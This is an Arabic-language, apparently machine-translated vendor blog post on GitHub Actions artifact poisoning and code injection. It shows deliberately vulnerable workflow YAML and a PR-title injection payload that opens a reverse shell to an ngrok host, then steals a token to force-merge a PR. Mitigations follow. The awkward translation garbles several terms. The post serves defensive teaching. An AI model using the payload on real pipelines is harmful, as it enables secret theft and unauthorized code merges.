CICD-Pipelines

الغوص العميق في CI/CD Pipelineنقاط الضعف (III): التسمم بالمنتجات وحقن الكود

في المشاركات السابقة (انظر التسمم غير المباشر Pipeline تنفيذ I-PPE و تسمم Pipeline تنفيذ معدات الوقاية الشخصية ، لقد تعاملنا بشكل أساسي مع معدات الوقاية الشخصية (المسمومة Pipeline التنفيذ): رأينا كيفية عمله وآثاره وبعض الاستغلال وكذلك بعض طرق الحماية منه. 

تتعمق هذه التدوينة في بعض الأمور الأخرى CI/CD pipeline نقاط الضعف مثل التسمم الأثري وحقن الكود. 

للقيام بذلك، سنعتمد بطريقة ما على معدات الوقاية الشخصية، لذا دعونا نلخص سريعًا ما رأيناه حول معدات الوقاية الشخصية.

العمل السابق على معدات الوقاية الشخصية

للتلخيص، بدأنا باستخدام GitHub الأساسي pipeline لبناء واختبار الكود المساهم به من خلال pull requestبالإضافة إلى ذلك، فهو يحدد بعض الاختبارات التي إذا تم استيفاؤها، فسوف يتم دمج الكود في الفرع الرئيسي. وقد أطلقنا على هذا اسم السيناريو #1.

CI/CD-Pipelines

في مقالتنا السابقة، أظهرنا كيف أن هذا أساسي pipeline وكان عرضة لكل من D-PPE وI-PPE.

تمكنا من ذلك إصلاح D-PPE by تعديل حدث الزناد من طلب سحب إلى pull_request_target، جعل pipeline آمن لـ D-PPE. للتذكير، pipelineسيتم تشغيله في حدث pull_request_target وسيتم تنفيذ القاعدة pipeline الكود وليس pipeline الكود الموجود في pull request. 

لقد أطلقنا على هذا اسم السيناريو #2.

CI/CD-Pipelines-سيناريو-الثغرات-2

ونتيجة لهذا التعديل، أثبتنا ذلك كان السيناريو رقم 2 لا يزال عرضة لـ I-PPE

لإصلاحه، قررنا لتقسيم pipeline إلى قسمين:

  • و1st pipeline (بناء سي آي) سيكون الخروج من رمز العلاقات العامة (لبنائه)، قم ببناء وإنشاء قطعة أثرية.
  • و 2nd pipeline (اختبار سي) سيكون قم بالخروج من الكود الأساسي (لتجنب تعديل البرنامج النصي لـ Shell) وتنفيذ النصوص الأصلية ضد القطعة الأثرية. 
  • لمزامنة اختبار CI pipeline للتشغيل بعد Build CI pipeline، سوف نستخدم Workflow_run اثار. 

لقد أطلقنا على هذا اسم السيناريو #3.

CI/CD-Pipelines-سيناريو-الثغرات-3

دعونا نستعيد رمز كليهما pipelineوفقا لهذه التعديلات…

أول pipeline (بناء CI):

name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

الثاني pipeline (اختبار سي):

name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       




التسمم بالقطع الأثرية

وفقا لما ورد أعلاه CI/CD pipelines:

  • pipeline بناء سي آي is خزنة على كل D- معدات الوقاية الشخصية (بسبب pull_request_target) و معدات الوقاية الشخصية (لأنه لم يعد ينفذ البرنامج النصي Shell).
  • pipeline اختبار سي هو أيضا خزنة على كل D- معدات الوقاية الشخصية (بسبب Workflow_run) و معدات الوقاية الشخصية (لأنه يقوم بالتحقق من الكود الأساسي للحصول على نص شل الأصلي) 

دعونا نتعمق في هذا "الحل".

Pipeline اختبار سي يقوم بتنزيل القطعة الأثرية كملف مضغوط.

# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

بمجرد فك ضغطه، فإنه ينفذ برنامج الصدفة "الآمن". لماذا أقول نص الصدفة "الآمن"؟ لأنه في الخطوة السابقة، pipeline يقوم بفحص الكود "الأساسي"، بحيث يتم وضع البرنامج النصي الأصلي في مجلد مساحة العمل. لذلك، عندما pipeline ينفذ البرنامج النصي Shell الذي سيتم تشغيله باستخدام الملف الثنائي الذي تم تنزيله مسبقًا.

ثم ما هو ملف مشكلة مع هذا النهج؟ تأتي المشكلة عندما يقوم أي مستخدم "بإنشاء" ملف جديد pipeline

إذا قام المستخدم بفتح PR يحتوي على ملف جديد pipelineسيقوم GitHub بتنفيذ ذلك pipeline  (مع مراعاة بعض الشروط كما رأينا في السابق عن أهمية خطة العمل وتحديد أهداف مشروعك.).

ونظرا لهذا، ماذا لو قام المستخدم بإنشاء ملف جديد pipeline بنفس اسم Build CI؟ نعم إنه أمر يثير الدهشة، ولكن يتيح لك GitHub إنشاء اثنين pipelineس بنفس الاسم!!

تذكر أنه سيتم تنفيذ اختبار CI بعد إنشاء CI...

name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]

والمثير للدهشة، لأنه يوجد الآن اثنان pipelineمع نفس الاسم، pipeline سيتم تنفيذ اختبار CI مرتين: واحد بعد الأصل pipeline وأخرى بعد "الجديد" pipeline.

فكيف يمكن للهاكر الاستفادة من هذا؟ 

  • أولاً، يمكن للمستخدم الضار تعديل البرنامج النصي shell لإرسال السر إلى الخادم الذي يتحكم فيه المتسللون.
  • ثانيا الجديد pipeline يتضمن سطرًا لنسخ البرنامج النصي المعدل إلى القطعة الأثرية → تسمم الارتيفاط م !!!

عندما يفتح المستخدم PR مع هذه التغييرات، فإن "الجديد" pipeline سيتم تنفيذه (تحميل قطعة أثرية مسمومة) ونشر CI pipeline سيتم تنفيذه بعد ذلك، مما يؤدي إلى يقوم نص الصدفة "المعدل" بالكتابة فوق نص الصدفة "الأصلي" الموجود في ملف pipeline مساحة العمل.

CI/CD-Pipelineنقاط الضعف

هذا ما نسميه التسمم بالقطع الأثريةأي القدرة على تعديل (الإختراق) pipeline المنطق من خلال تعديل أ pipeline قطعة أثرية

واحد ممكن معالجة واضح تمامًا: مجرد فك ضغط القطعة الأثرية إلى مجلد فرعي لمساحة العمل من شأنه أن يتجنب الكتابة فوق نص الصدفة "الأساسي".

حقن الرمز

إلى جانب التسمم بالقطع الأثرية، هل يمكنك رؤية أي ثغرة أمنية أخرى في الكود أعلاه؟

دعنا نذهب!!

كما ترون في الكود، pipeline يبني Build CI الملف الثنائي، ويقوم بتحميل الملف الثنائي كملف pipeline قطعة أثرية، بالإضافة إلى أنها تقوم بتحميل بعض البيانات الإضافية: عنوان العلاقات العامة ومعرف العلاقات العامة.

          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt

لماذا؟ لأنه لدمج العلاقات العامة، كما ترون أدناه، اختبار CI pipeline يحتاج إلى معرف العلاقات العامة لاستدعاء GitHub REST API الذي يدمج العلاقات العامة. 

كيف يتم اختبار CI pipeline الحصول على معرف العلاقات العامة؟ مشاركة المعلومات في الملفات النصية (جزء من ملف pipeline قطعة أثرية) هي طريقة شائعة لمشاركة المعلومات بين pipelineس. وهذا هو بالضبط ما هؤلاء pipelineيفعلون.

  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

بالمعنى الدقيق للكلمة، هناك حاجة فقط إلى معرف العلاقات العامة لدمج العلاقات العامة، ولكن pipeline قرر المشرف أن يتضمن Build CI أيضًا عنوان PR لذلك فإن Test CI pipeline سيتم طباعة بعض رسائل المعلومات التي تحتوي على معرف العلاقات العامة والعنوان.

name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt

name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

عنوان العلاقات العامة هو دائمًا بيانات تأتي من المستخدم، وعلى هذا النحو، يجب دائمًا اعتبارها غير موثوقة. لذلك pipeline يجب التعامل مع هذا الأمر واتخاذ تدابير وقائية.

في الكود أعلاه، يمكننا رؤية الرسالة المحددة التي تردد عنوان العلاقات العامة. إنه مجرد أمر "صدى" لينكس.

من خلال استيفاء السلسلة، إذا كان العنوان "عنوانًا وهميًا"، يقوم Github بإنشاء نص داخلي يحتوي على

echo ""a dummy title""

ولكن، ماذا لو كان عنوان العلاقات العامة سيكون مثل:

عنوان ضار” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

سيصبح البرنامج النصي:

echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

مما يؤدي إلى فتح غلاف عكسي ضد الخادم الذي يتحكم فيه المتسللون.

CI/CD-Pipelines

يمكن استخدام هذا الغلاف العكسي للوصول إلى pipeline الأسرار (تذكر أن اختبار CI يعمل في وضع الامتياز لأنه يتم تشغيله بواسطة Workflow_run حتى يتمكن من الوصول إلى الأسرار).

ولكن، ما الذي يمكن فعله أيضًا من خلال تلك الصدفة العكسية؟ 

انظر إلى رمز اختبار CI:

env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

كما ترون في اختبار CI pipeline، فإن أمر curly merge يستخدم GITHUB_PAT (المعرّف كـ an pipeline env var)، لذلك يحتوي العداء على GITHUB_PAT كمتغير بيئة. علاوة على ذلك، فإنه يقوم أيضًا بإنشاء env var لقراءة معرف العلاقات العامة. 

لذلك يحتاج المتسلل فقط إلى نسخ أمر الضفيرة ولصقه في الغلاف العكسي، ودمج العلاقات العامة مباشرة في الفرع المحمي.

حقن الكود

وللحماية من كل هذا:

  • إلى تجنب استيفاء السلسلة مع بيانات غير موثوقة (عرضة لـ حقن الكود) بواسطة تحديد pipeline env var بدلاً من استخدامه مباشرة في أوامر الصدى

بدلا من استخدام:

name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt

استخدم هذا:

  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}
  • حتى مع استغلال حقن التعليمات البرمجية، لم يكن أمر دمج الضفائر لينجح إذا قمت بذلك بشكل صحيح لقد قمت بحماية pull requests من خلال بعض المراجعة أو الموافقة الإلزامية

استنتاجات

من الصعب إلى حد ما حماية CI/CD pipelineالتكوين والحصول على pipelineخالية من نقاط الضعف.

هذا لا يعني ذلك CI/CD الأنظمة (مثل GitHub في هذه الحالة) معرضة للخطر في حد ذاتها. CI/CD توفر الأنظمة الوسائل اللازمة للحماية من الثغرات الأمنية ... ولكن تقع على عاتق المسؤول مسؤولية تنفيذ تلك الحماية.

لكن… لا يمكنك حل الثغرة إلا إذا كنت على علم بوجودها !!!

بالطبع، قد يكون لدى مسؤول DevOps ذو المهارات العالية كل هذه التهديدات في الاعتبار ويحميها بشكل صحيح CI/CD pipelineولكن، مع ذلك، من المهم للغاية استخدام منتج للكشف عن جميع هذه الأنواع من الثغرات. وبالطبع، أتمتة عملية اكتشاف هذه الثغرات (على سبيل المثال، تشغيل الفحص كجزء من CI/CD pipelineق).

يمكن أن يسمى هذا النهج "بوابة الأمن

  • إنشاء جديد pipeline (بوابة أمنية) للتحقق من CI/CD pipelineنقاط الضعف وإجراء CI الأخرى pipelineلا يتم تنفيذه إلا عند الانتهاء بنجاح من البوابة الأمنية pipeline.
  • بوابة الأمن pipelineسوف يتحقق من ذلك CI/CD pipelineنقاط الضعف و، 
    • إذا تم العثور على الثغرات الأمنية، فسوف تفشل، وبالتالي، الآخر pipelineلن يتم تنفيذ s. 
    • إذا لم يتم العثور على أي ثغرات، فسيتم pipeline سوف تنجح والآخر pipelineسيتم تنفيذ الأمر s كالمعتاد.
CI/CD-Security

تسمم Pipeline التنفيذ (معدات الوقاية الشخصية)

الغوص العميق في CI/CD Pipelineنقاط الضعف (I)​

التسمم غير المباشر Pipeline التنفيذ (I-PPE)

الغوص العميق في CI/CD Pipelineنقاط الضعف (II)

الحماية من التسمم بالمنتجات من خلال شهادات البرمجيات

الغوص العميق في CI/CD Pipelineنقاط الضعف (IV)​
أدوات تحليل التركيبات البرمجية sca
إعطاء الأولوية للمخاطر التي تتعرض لها برامجك، ومعالجتها، وتأمينها
الإصدار التجريبي المجاني من 7 يومًا
لا ضرورة لبطاقة الائتمان

قم بتأمين تطوير البرامج الخاصة بك وتسليمها

مع مجموعة منتجات Xygeni